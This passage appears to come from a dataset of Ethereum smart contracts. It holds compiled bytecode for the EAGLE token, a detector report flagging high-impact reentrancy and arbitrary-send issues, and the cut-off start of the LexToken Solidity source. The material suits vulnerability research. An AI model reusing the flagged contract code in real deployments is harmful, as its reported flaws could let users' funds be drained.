50565b604051610302919061343a565b60405180910390f35b34801561031757600080fd5b50610320610876565b005b34801561032e57600080fd5b5061034960048036038101906103449190612f2d565b6108f0565b6040516103569190613508565b60405180910390f35b34801561036b57600080fd5b50610386600480360381019061038191906130c3565b610910565b005b34801561039457600080fd5b506103af60048036038101906103aa9190613115565b6109c2565b005b3480156103bd57600080fd5b506103d860048036038101906103d39190612f2d565b610a61565b6040516103e591906136c5565b60405180910390f35b3480156103fa57600080fd5b50610403610ab2565b005b34801561041157600080fd5b5061042c60048036038101906104279190613115565b610c05565b005b34801561043a57600080fd5b5061045560048036038101906104509190613115565b610ca4565b005b34801561046357600080fd5b5061046c610d43565b604051610479919061343a565b60405180910390f35b34801561048e57600080fd5b50610497610d6c565b6040516104a49190613523565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf9190613046565b610da9565b6040516104e19190613508565b60405180910390f35b3480156104f657600080fd5b50610511600480360381019061050c9190613082565b610dc7565b005b34801561051f57600080fd5b5061053a6004803603810190610535919061300a565b610f17565b005b34801561054857600080fd5b50610563600480360381019061055e919061300a565b611007565b005b34801561057157600080fd5b5061057a6110f7565b005b34801561058857600080fd5b506105a3600480360381019061059e9190612f2d565b611737565b6040516105b09190613508565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db9190612f7f565b611757565b6040516105ed91906136c5565b60405180910390f35b34801561060257600080fd5b5061060b6117de565b005b600b5481565b60606040518060400160405280600e81526020017f4269726473204579652056696577000000000000000000000000000000000000815250905090565b600061066461065d611850565b8484611858565b6001905092915050565b6000670de0b6b3a7640000905090565b600061068b848484611a23565b61074c84610697611850565b61074785604051806060016040528060288152602001613e4a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fd611850565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f99092919063ffffffff16565b611858565b600190509392505050565b61075f611850565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e390613645565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b7611850565b73ffffffffffffffffffffffffffffffffffffffff16146108d757600080fd5b60006108e230610a61565b90506108ed8161215d565b50565b60056020528060005260406000206000915054906101000a900460ff1681565b610918611850565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c90613645565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b6109ca611850565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4e90613645565b60405180910390fd5b8060128190555050565b6000610aab600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612457565b9050919050565b610aba611850565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e90613645565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c0d611850565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9190613645565b60405180910390fd5b8060138190555050565b610cac611850565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090613645565b60405180910390fd5b80600b8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4541474c45000000000000000000000000000000000000000000000000000000815250905090565b6000610dbd610db6611850565b8484611a23565b6001905092915050565b610dcf611850565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5390613645565b60405180910390fd5b60005b8151811015610f1357600160076000848481518110610ea7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f0b906139db565b915050610e5f565b5050565b610f1f611850565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa390613645565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61100f611850565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109390613645565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6110ff611850565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390613645565b60405180910390fd5b601160149054906101000a900460ff16156111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d3906136a5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061126b30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611858565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112b157600080fd5b505afa1580156112c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e99190612f56565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561134b57600080fd5b505afa15801561135f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113839190612f56565b6040518363ffffffff1660e01b81526004016113a0929190613455565b602060405180830381600087803b1580156113ba57600080fd5b505af11580156113ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f29190612f56565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061156f30610a61565b60008061157a610d43565b426040518863ffffffff1660e01b815260040161159c969594939291906134a7565b6060604051808303818588803b1580156115b557600080fd5b505af11580156115c9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115ee919061313e565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016116e192919061347e565b602060405180830381600087803b1580156116fb57600080fd5b505af115801561170f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061173391906130ec565b5050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661181f611850565b73ffffffffffffffffffffffffffffffffffffffff161461183f57600080fd5b600047905061184d816124c5565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613685565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f90613585565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a1691906136c5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8a90613665565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afa90613545565b60405180910390fd5b80611b0d84610a61565b1015611b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b45906135c5565b60405180910390fd5b611b56610d43565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bc45750611b94610d43565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156120e957600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c6d5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c7657600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580611d725750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d715750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b15611dbd57601254811115611dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db390613605565b60405180910390fd5b5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e675760135481611e1b84610a61565b611e2591906137fb565b1115611e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5d906135e5565b60405180910390fd5b5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f125750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f685750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f805750601160179054906101000a900460ff165b156120215742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611fd057600080fd5b603c42611fdd91906137fb565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061202c30610a61565b9050601160159054906101000a900460ff161580156120995750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156120b15750601160169054906101000a900460ff165b80156120bf5750600b548110155b156120e7576120cd8161215d565b600047905060008111156120e5576120e4476124c5565b5b505b505b6120f48383836125c0565b505050565b6000838311158290612141576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121389190613523565b60405180910390fd5b506000838561215091906138dc565b9050809150509392505050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121bb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121e95781602001602082028036833780820191505090505b5090503081600081518110612227577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122c957600080fd5b505afa1580156122dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123019190612f56565b8160018151811061233b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123a230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611858565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124069594939291906136e0565b600060405180830381600087803b15801561242057600080fd5b505af1158015612434573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600060095482111561249e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249590613565565b60405180910390fd5b60006124a86125d0565b90506124bd81846125fb90919063ffffffff16565b915050919050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125156002846125fb90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612540573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125916002846125fb90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125bc573d6000803e3d6000fd5b5050565b6125cb838383612645565b505050565b60008060006125dd6129b6565b915091506125f481836125fb90919063ffffffff16565b9250505090565b600061263d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a15565b905092915050565b60008060008060008061265787612a78565b9550955095509550955095506126b586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806127995750600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561289d576127f086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8960405161289091906136c5565b60405180910390a36129ab565b6128ef85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293b81612b88565b6129458483612c45565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129a291906136c5565b60405180910390a35b505050505050505050565b600080600060095490506000670de0b6b3a764000090506129ea670de0b6b3a76400006009546125fb90919063ffffffff16565b821015612a0857600954670de0b6b3a7640000935093505050612a11565b81819350935050505b9091565b60008083118290612a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a539190613523565b60405180910390fd5b5060008385612a6b9190613851565b9050809150509392505050565b6000806000806000806000806000612a958a600c54600d54612c7f565b9250925092506000612aa56125d0565b90506000806000612ab88e878787612d15565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120f9565b905092915050565b6000808284612b3991906137fb565b905083811015612b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b75906135a5565b60405180910390fd5b8091505092915050565b6000612b926125d0565b90506000612ba98284612d9e90919063ffffffff16565b9050612bfd81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c5a82600954612ae090919063ffffffff16565b600981905550612c7581600a54612b2a90919063ffffffff16565b600a819055505050565b600080600080612cab6064612c9d888a612d9e90919063ffffffff16565b6125fb90919063ffffffff16565b90506000612cd56064612cc7888b612d9e90919063ffffffff16565b6125fb90919063ffffffff16565b90506000612cfe82612cf0858c612ae090919063ffffffff16565b612ae090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d2e8589612d9e90919063ffffffff16565b90506000612d458689612d9e90919063ffffffff16565b90506000612d5c8789612d9e90919063ffffffff16565b90506000612d8582612d778587612ae090919063ffffffff16565b612ae090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612db15760009050612e13565b60008284612dbf9190613882565b9050828482612dce9190613851565b14612e0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0590613625565b60405180910390fd5b809150505b92915050565b6000612e2c612e278461377a565b613755565b90508083825260208201905082856020860282011115612e4b57600080fd5b60005b85811015612e7b5781612e618882612e85565b845260208401935060208301925050600181019050612e4e565b5050509392505050565b600081359050612e9481613e04565b92915050565b600081519050612ea981613e04565b92915050565b600082601f830112612ec057600080fd5b8135612ed0848260208601612e19565b91505092915050565b600081359050612ee881613e1b565b92915050565b600081519050612efd81613e1b565b92915050565b600081359050612f1281613e32565b92915050565b600081519050612f2781613e32565b92915050565b600060208284031215612f3f57600080fd5b6000612f4d84828501612e85565b91505092915050565b600060208284031215612f6857600080fd5b6000612f7684828501612e9a565b91505092915050565b60008060408385031215612f9257600080fd5b6000612fa085828601612e85565b9250506020612fb185828601612e85565b9150509250929050565b600080600060608486031215612fd057600080fd5b6000612fde86828701612e85565b9350506020612fef86828701612e85565b925050604061300086828701612f03565b9150509250925092565b6000806040838503121561301d57600080fd5b600061302b85828601612e85565b925050602061303c85828601612ed9565b9150509250929050565b6000806040838503121561305957600080fd5b600061306785828601612e85565b925050602061307885828601612f03565b9150509250929050565b60006020828403121561309457600080fd5b600082013567ffffffffffffffff8111156130ae57600080fd5b6130ba84828501612eaf565b91505092915050565b6000602082840312156130d557600080fd5b60006130e384828501612ed9565b91505092915050565b6000602082840312156130fe57600080fd5b600061310c84828501612eee565b91505092915050565b60006020828403121561312757600080fd5b600061313584828501612f03565b91505092915050565b60008060006060848603121561315357600080fd5b600061316186828701612f18565b935050602061317286828701612f18565b925050604061318386828701612f18565b9150509250925092565b600061319983836131a5565b60208301905092915050565b6131ae81613910565b82525050565b6131bd81613910565b82525050565b60006131ce826137b6565b6131d881856137d9565b93506131e3836137a6565b8060005b838110156132145781516131fb888261318d565b9750613206836137cc565b9250506001810190506131e7565b5085935050505092915050565b61322a81613922565b82525050565b61323981613965565b82525050565b600061324a826137c1565b61325481856137ea565b9350613264818560208601613977565b61326d81613ab1565b840191505092915050565b60006132856023836137ea565b915061329082613ac2565b604082019050919050565b60006132a8602a836137ea565b91506132b382613b11565b604082019050919050565b60006132cb6022836137ea565b91506132d682613b60565b604082019050919050565b60006132ee601b836137ea565b91506132f982613baf565b602082019050919050565b60006133116026836137ea565b915061331c82613bd8565b604082019050919050565b6000613334602b836137ea565b915061333f82613c27565b604082019050919050565b6000613357602d836137ea565b915061336282613c76565b604082019050919050565b600061337a6021836137ea565b915061338582613cc5565b604082019050919050565b600061339d6020836137ea565b91506133a882613d14565b602082019050919050565b60006133c06025836137ea565b91506133cb82613d3d565b604082019050919050565b60006133e36024836137ea565b91506133ee82613d8c565b604082019050919050565b60006134066017836137ea565b915061341182613ddb565b602082019050919050565b6134258161394e565b82525050565b61343481613958565b82525050565b600060208201905061344f60008301846131b4565b92915050565b600060408201905061346a60008301856131b4565b61347760208301846131b4565b9392505050565b600060408201905061349360008301856131b4565b6134a0602083018461341c565b9392505050565b600060c0820190506134bc60008301896131b4565b6134c9602083018861341c565b6134d66040830187613230565b6134e36060830186613230565b6134f060808301856131b4565b6134fd60a083018461341c565b979650505050505050565b600060208201905061351d6000830184613221565b92915050565b6000602082019050818103600083015261353d818461323f565b905092915050565b6000602082019050818103600083015261355e81613278565b9050919050565b6000602082019050818103600083015261357e8161329b565b9050919050565b6000602082019050818103600083015261359e816132be565b9050919050565b600060208201905081810360008301526135be816132e1565b9050919050565b600060208201905081810360008301526135de81613304565b9050919050565b600060208201905081810360008301526135fe81613327565b9050919050565b6000602082019050818103600083015261361e8161334a565b9050919050565b6000602082019050818103600083015261363e8161336d565b9050919050565b6000602082019050818103600083015261365e81613390565b9050919050565b6000602082019050818103600083015261367e816133b3565b9050919050565b6000602082019050818103600083015261369e816133d6565b9050919050565b600060208201905081810360008301526136be816133f9565b9050919050565b60006020820190506136da600083018461341c565b92915050565b600060a0820190506136f5600083018861341c565b6137026020830187613230565b818103604083015261371481866131c3565b905061372360608301856131b4565b613730608083018461341c565b9695505050505050565b600060208201905061374f600083018461342b565b92915050565b600061375f613770565b905061376b82826139aa565b919050565b6000604051905090565b600067ffffffffffffffff82111561379557613794613a82565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138068261394e565b91506138118361394e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561384657613845613a24565b5b828201905092915050565b600061385c8261394e565b91506138678361394e565b92508261387757613876613a53565b5b828204905092915050565b600061388d8261394e565b91506138988361394e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138d1576138d0613a24565b5b828202905092915050565b60006138e78261394e565b91506138f28361394e565b92508282101561390557613904613a24565b5b828203905092915050565b600061391b8261392e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139708261394e565b9050919050565b60005b8381101561399557808201518184015260208101905061397a565b838111156139a4576000848401525b50505050565b6139b382613ab1565b810181811067ffffffffffffffff821117156139d2576139d1613a82565b5b80604052505050565b60006139e68261394e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1957613a18613a24565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460008201527f73206d6178206c696d6974000000000000000000000000000000000000000000602082015250565b7f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560008201527f656473206d6178206c696d697400000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613e0d81613910565b8114613e1857600080fd5b50565b613e2481613922565b8114613e2f57600080fd5b50565b613e3b8161394e565b8114613e4657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220122132fe1b6bdda743e93140660243603a6bc3780560d0382412dc63cc65a46864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,873
0x5fefa7cc80a6f7554dea9fadf9048ea977d749bd
/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool 